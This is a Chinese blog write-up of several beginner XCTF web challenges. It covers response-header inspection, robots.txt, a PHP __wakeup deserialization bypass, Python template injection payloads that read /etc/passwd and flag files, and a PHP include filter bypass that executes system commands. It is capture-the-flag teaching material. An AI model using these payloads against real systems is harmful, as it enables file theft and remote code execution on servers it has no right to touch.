zoukankan      html  css  js  c++  java
  • 攻防世界

    baby_web:

    1.根据题目提示,初始页面即为index,将1.php改为index.php,发现依然跳转成1.php,尝试修改抓包,出现如下回显,

    2.在header中获取flag,

    flag:

    flag{very_baby_web}

    Training-WWW-Robots:

    1.进入页面,

    2.直接:http://IP:端口/robots.txt就能够访问,得到robots协议,发现一个fl0g.php但是无法访问,我们尝试直接访问,(用御剑直接扫描靶场也可得到php文件,直接访问同样可以获取flag)

    flag:

    cyberpeace{79df38364a852059f581632c44d043bf}

    补充:

    关于robots:
    robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件。
    它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。
    因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。
    如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。 robots协议并不是一个规范,而只是约定俗成的,所以并不能保证网站的隐私。

    网站的根目录放一个robots.txt,会告诉搜索引擎这个网站里的那些文件可以访问,哪些不可以,

    unserialize3:

    1.进入页面,查看代码可知,要求通过_GET提交code值,绕过__wakeup()这个魔术方法,

    2.利用反序列化漏洞:__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行。

    <?php 
    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    }
    $x=new xctf();
    echo serialize($x);
    ?>

    获取反序列化的值:

    O:4:"xctf":1:{s:4:"flag";s:3:"111";}

    3.修改反序列化值为:

    O:4:"xctf":2:{s:4:"flag";s:3:"111";}
    

    flag:

    cyberpeace{0246a70ac2b5885c194e9b6a0c6a3597}

    补充

    php的序列化和反序列化:
    php的序列化和反序列化由serialize()和unserialize()这两个函数来完成。
    serialize()完成序列化的操作,将传入的值转换为序列化后的字符串,
    而unserialize()完成反序列化的操作,将字符串转换成原来的变量。
    (挂一张网图)

    注意:
    ① 当属性为private属性时,它会在两侧加入空字节,导致其长度会增加2
    ② 序列化对象时只会序列化对象中的属性值,不会序列化其中的函数

    魔术方法

    PHP中以两个下划线开头的方法,__construct(), __destruct (), __call(), __callStatic(),__get(), __set(), __isset(), __unset (), __sleep(), __wakeup(), __toString(), __set_state,() __clone() __autoload()等,被称为"魔术方法"(Magic methods)。这些方法在一定条件下有特殊的功能

    
    

    与序列化和反序列化的魔术方法主要是:

    • __construct() //当一个对象创建时被调用
    • __destruct() //对象被销毁时触发
    • __wakeup() //使用unserialize时触发
    • __sleep() //使用serialize时触发
    • __toString() //把类当做字符串时触发
    • __get() //用于从不可访问的属性读取数据
    • __set() //用于将数据写入不可访问的属性

    参考:

    https://blog.csdn.net/silence1_/article/details/89716976

    Web_python_template_injection:

    1.进入页面,通过{{3+4}}可以判断存在python模板注入,

    2.利用{{config.items() }}可以查看服务器的配置信息

    4.寻找可用引用,

    {{''.__class__.__mro__[2].__subclasses__()}}

     5.可以看到有一个type file类型(可以进行文件读取)

    {{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
    

    6.

    7.

    {{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

    flag:

    ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} 

    参考:

    https://www.freebuf.com/column/187845.html

    https://blog.csdn.net/iamsongyu/article/details/85861811

    https://www.cnblogs.com/wfzWebSecuity/p/9415641.html

    https://xz.aliyun.com/t/2908

    Web_php_include:

      

    1.分析代码,可以看出只要有php://就会无限循环,

    <?php
    show_source(__FILE__);
    echo $_GET['hello'];
    $page=$_GET['page'];
    while (strstr($page, "php://")) {
        $page=str_replace("php://", "", $page);
    }
    include($page);
    ?>

    2. strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。

    如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。
    strstr函数对大小写敏感,改成大写的PHP://

    3.post传入:

    <?php system("Is");?>
    

    4.出现了三个文件,flag应该是在fl4g***.php这个文件中
    用cat命令打开,<?php system ("cat fl4gisisish3r3.php")?>

    flag:

    ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

    参考:

    (其他方法可以参考如下链接)
    https://www.cnblogs.com/xhds/p/12218471.html

    https://blog.csdn.net/Mr_helloword/article/details/107929653

  • 相关阅读:
    可移动的按钮
    .NET及JAVA 中如何使用代码启动程序
    SQL一对多特殊查询,取唯一一条
    jquery,字符串转json对象,json对象转字符串
    jQuery的ajax()、post()方法提交数组,参数[] 问题
    Sql Server中实现Mysql中的group_concat函数效果
    SQL:REGEXP
    sql:CallableStatement执行存储过程
    js去除前后空格
    jsp中常用操作字符串的el表达式
  • 原文地址:https://www.cnblogs.com/3cH0-Nu1L/p/13549940.html
Copyright © 2011-2022 走看看